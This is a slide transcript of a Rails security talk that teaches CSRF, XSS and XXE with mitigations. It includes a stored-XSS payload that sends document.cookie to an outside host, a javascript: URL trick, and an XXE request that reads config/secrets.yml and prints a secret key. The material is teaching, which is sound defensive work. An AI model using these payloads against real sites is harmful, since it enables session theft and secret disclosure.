Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

Transcript

1. SECURITY IS BROKEN
   Understanding Common Vulnerabilities
   

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3. EILEEN M. UCHITELLE
   Security, Infrastructure & Performance
   Team at Basecamp
   ! eileencodes.com
   " @eileencodes
   # @eileencodes
   ! speakerdeck.com/eileencodes
   

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4. OPEN SOURCE
   Rails Committers
   Rails Security
   

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7. How is security
   broken?
   

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8. • Impossible to test for all possible
   vulnerabilities
   How is security broken?
   

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9. • Impossible to test for all possible
   vulnerabilities
   • Hackers are always one step ahead
   How is security broken?
   

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10. • Impossible to test for all possible
    vulnerabilities
    • Hackers are always one step ahead
    • Patching one vulnerability can lead to
    exposing new ones
    How is security broken?
    

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11. How did we get
    here?
    

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12. • Failed to enforce web standards
    How did we get here?
    

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13. vs.
    

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15. • Failed to enforce web standards
    • Failed to implement a definition of
    security
    How did we get here?
    

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16. “...completely failed to come up with
    even the most rudimentary usable
    frameworks for understanding the
    security of modern software.”
    – Michal Zalewski, The Tangled Web
    

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17. • Failed to enforce web standards
    • Failed to implement a definition of
    security
    • Too few people understand the
    vulnerabilities
    How did we get here?
    

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19. CSRF
    

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20. CSRF
    Cross-Site Request Forgery
    

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21. EXPLOITING CSRF
    

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22. JESSIE
    The Hacker
    ARYA
    The User
    

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25. 
    Name
    
    Email
    
    Website
    
    
    
    

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27. Looks the same, different URL
    

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28. 
    
    Name
    
    Email
    
    Website
    
    
    
    
    

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29. 
    Name
    
    Email
    
    Website
    
    
    
    Jessie’s email
    

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30. 
    
    Name
    
    Email
    
    Website
    
    
    
    
    Auto-submit form
    

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31. 
    
    Name
    
    Email
    
    Website
    
    
    
    
    Auto-submit form
    to victim site
    

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32. Jessie’s email
    

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33. How dangerous are
    CSRF attacks?
    

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34. How can we protect

    our users from

    CSRF attacks?
    

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35. • Use built-in framework CSRF protection
    How to mitigate CSRF?
    

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37. class ApplicationController < ActionController::Base
    protect_from_forgery with: :exception
    end
    

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38. 
    name=authenticity_token" />
    Name
    
    Email
    
    Website
    
    
    
    CSRF protection
    

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39. Caveat:
    CSRF protection in Rails is
    order-dependent
    

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40. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    

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41. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    Conditional
    authentication
    

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42. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ApplicationController
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    end
    

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43. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ApplicationController
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    end
    Skip auth callback
    

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44. >> ChatsController._process_action_callbacks.map(&:filter)
    =>[
    :authenticate,
    :verify_authenticity_token,
    :authenticate_for_chat
    ]
    Authentication callback
    is too late in the chain
    

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45. class ApplicationController < ActionController::Base
    before_action :authenticate
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    class ChatsController < ActionController::Base
    skip_before_action :authenticate
    before_action :authenticate_for_chat, only: :create
    protect_from_forgery with: :exception,
    if: -> { authenticate_method.web? }
    end
    

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46. >> ChatsController._process_action_callbacks.map(&:filter)
    =>[
    :authenticate,
    :authenticate_for_chat,
    :verify_authenticity_token
    ]
    Corrected
    callback order
    

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48. • Use built-in framework CSRF protection
    • Refresh tokens with the session / don’t
    reuse tokens
    How to mitigate CSRF?
    

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49. class SessionsController < ApplicationController
    def destroy
    sign_out
    reset_session
    redirect_to sign_in_url
    end
    end
    Refreshes
    Authenticity Token
    

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50. • Use built-in framework CSRF protection
    • Refresh tokens with the session / don’t
    reuse tokens
    • Mitigate XSS attacks
    How to mitigate CSRF?
    

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51. XSS
    

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52. XSS
    Cross-Site Scripting
    

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53. EXPLOITING STORED XSS
    

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55. <br/>document.write(<br/>'<img src=“http://www.hax0rcats.com/'<br/>+ document.cookie + '">'<br/>);<br/>
    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
    

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57. Escaped HTML
    

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58. Profile
    <%= notice %>
    
    Name:
    <%= @user.name %>
    
    
    Email:
    <%= @user.email %>
    
    
    Website:
    <%= link_to('website', @user.website) %>
    
    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    

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59. Profile
    <%= notice %>
    
    Name:
    <%= (@user.name).html_safe %>
    
    
    Email:
    <%= @user.email %>
    
    
    Website:
    <%= link_to('website', @user.website) %>
    
    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
    

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61. JavaScript Scheme
    

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63. javascript://example.com/%0Aalert(1)
    

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64. example.com/%0Aalert(1)
    JavaScript Scheme
    javascript://
    

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65. javascript://example.com/%0Aalert(1)
    URL
    example.com
    

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66. Percent encoded “line feed”
    javascript://example.com/%0Aalert(1)
    %0A
    

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67. JavaScript Alert
    javascript://example.com/%0Aalert(1)
    alert(1)
    

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68. How dangerous are
    XSS attacks?
    

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69. How can we protect

    our users from

    XSS attacks?
    

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70. • Always escape user-provided data
    How to mitigate XSS?
    

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71. Profile
    <%= notice %>
    
    Name:
    <%= (@user.name).html_safe %>
    
    
    Email:
    <%= @user.email %>
    
    
    Website:
    <%= link_to('website', @user.website) %>
    
    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    Don’t do this
    

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73. • Don’t HTML escape user-provided data
    • Sanitize user-provided data
    How to mitigate XSS?
    

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74. Profile
    <%= notice %>
    
    Name:
    <%= sanitize(@user.name) %>
    
    
    Email:
    <%= @user.email %>
    
    
    Website:
    <%= link_to('website', @user.website) %>
    
    <%= link_to 'Edit', edit_user_path(@user) %> |
    <%= link_to 'Back', users_path %>
    Will strip out unwanted
    tags and attributes
    

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75. • Don’t HTML escape user-provided data
    • Sanitize user-provided data
    • Validate user-provided data
    How to mitigate XSS?
    

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76. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end
    

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77. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end
    

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78. class User < ActiveRecord::Base
    WHITELISTED_URI_SCHEMES = %w( http https )
    validate :check_uri_scheme
    private
    def check_uri_scheme
    begin
    uri = URI.parse(website)
    unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase)
    errors.add :website, 'is not an allowed URI scheme'
    end
    rescue URI::InvalidURIError
    errors .add :website, 'is not a valid URI'
    end
    end
    end
    

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79. XXE
    

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80. XXE
    XML eXternal Entity Attack
    

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81. 
    
    ]>
    
    Take a nap
    Go on a long walk with my hooman
    &ext1;
    Take another nap
    Go to bed
    
    

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82. 
    
    ]>
    
    Take a nap
    Go on a long walk with my hooman
    &ext1;
    Take another nap
    Go to bed
    
    Entity reference
    

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83. 
    Eat breakfast
    Bark at the mail carrier
    

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84. 
    
    Take a nap
    Go on a long walk with my hooman
    Eat breakfast
    Bark at the mail carrier
    Take another nap
    Go to bed
    
    

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85. EXPLOITING XXE
    

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86. class UsersController < ApplicationController
    def create
    @user = User.new(user_params)
    respond_to do |format|
    if @user.save
    format.html { redirect_to @user }
    format.xml { render :xml => @user.to_xml }
    else
    format.html { render :new }
    format.xml { render xml: @user.errors.to_xml }
    end
    end
    end
    end
    

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87. class UsersController < ApplicationController
    def create
    @user = User.new(user_params)
    respond_to do |format|
    if @user.save
    format.html { redirect_to @user }
    format.xml { render :xml => @user.to_xml }
    else
    format.html { render :new }
    format.xml { render xml: @user.errors.to_xml }
    end
    end
    end
    end
    XML
    

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88. config/secrets.yml">
    ]>
    
    &name;
    
    

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89. config/secrets.yml">
    ]>
    
    &name;
    
    Requested file
    

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90. config/secrets.yml">
    ]>
    
    &name;
    
    Entity reference
    

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91. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml
    POST request to
    users create
    

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92. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml
    Payload
    

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93. curl -X 'POST'
    -H 'Content-Type: application/xml'
    -d @xxe.xml
    http://dogbook.com/users.xml
    
    
    ...
    production:
    secret_key_base:
    271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5
    f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40
    00e166a9a5
    ...
    
    
    secrets.yml
    as user’s name
    

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95. How dangerous are
    XXE attacks?
    

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97. How can we protect

    our servers from

    XXE attacks?
    

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98. • Don’t parse XML
    How to mitigate XXE?
    

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99. Don’t parse XML
    

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100. • Don’t parse XML
     • Don’t use parsers that allow entity
     replacement (LibXML)
     How to mitigate XXE?
     

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101. >> LibXML::XML.default_substitute_entities
     >> true
     

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102. • Don’t parse XML
     • Don’t use parsers that allow entity
     replacement (LibXML)
     • Whitelist known entities
     How to mitigate XXE?
     

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103. Investigate vulnerabilities & patches
     SECURITY
     

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104. GitHub

     eileencodes/security_examples
     

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105. owasp.org
     

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106. View Slide

107. Brakeman
     

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108. Resilience & empowerment
     SECURITY
     

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110. Awareness of vulnerabilities
     SECURITY
     

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111. JESSIE
     The Hacker
     ARYA
     The User
     

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112. View Slide

113. To the future
     

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114. EILEEN M. UCHITELLE
     Security, Infrastructure & Performance
     Team at Basecamp
     ! eileencodes.com
     " @eileencodes
     # @eileencodes
     ! speakerdeck.com/eileencodes
     

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